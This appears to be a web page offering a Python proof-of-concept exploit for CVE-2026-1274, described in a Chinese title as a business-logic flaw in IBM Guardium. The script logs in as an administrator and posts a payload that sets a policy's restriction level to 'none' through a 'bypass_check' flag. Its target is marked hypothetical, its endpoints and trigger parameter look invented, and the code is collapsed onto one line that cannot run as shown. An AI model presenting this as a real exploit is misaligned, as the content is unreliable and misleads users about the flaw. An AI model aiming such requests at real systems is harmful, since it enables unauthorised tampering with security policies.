CVE-2026-1274 IBM Guardium业务逻辑漏洞

import requests # Target URL for the access management API (Hypothetical) target_url = "https://<target-ip>/api/v1/access_management/control_panel" # High privilege credentials (Required by PR:H) credentials = { "username": "admin", "password": "admin_password" } def exploit_logic_bypass(): session = requests.Session() # Step 1: Authenticate to obtain a valid session print("[+] Attempting to login as high-privilege user...") login_resp = session.post("https://<target-ip>/api/v1/login", json=credentials) if login_resp.status_code != 200: print("[-] Authentication failed.") return print("[+] Authentication successful.") # Step 2: Construct payload to bypass business logic # Scenario: Modifying a critical setting that is normally read-only or requires extra approval payload = { "action": "update_policy", "policy_id": 1001, "restriction_level": "none", # Malicious change "bypass_check": "true" # Parameter intended to trigger the logic flaw } headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # Step 3: Send the malicious request print(f"[+] Sending payload to {target_url}...") response = session.post(target_url, json=payload, headers=headers, verify=False) # Step 4: Check if the logic was bypassed if response.status_code == 200 and "success" in response.json(): print("[+] Exploit successful! Business logic bypassed.") print(f"[+] Response: {response.text}") else: print("[-] Exploit failed or patch applied.") print(f"[-] Response: {response.text}") if __name__ == "__main__": exploit_logic_bypass()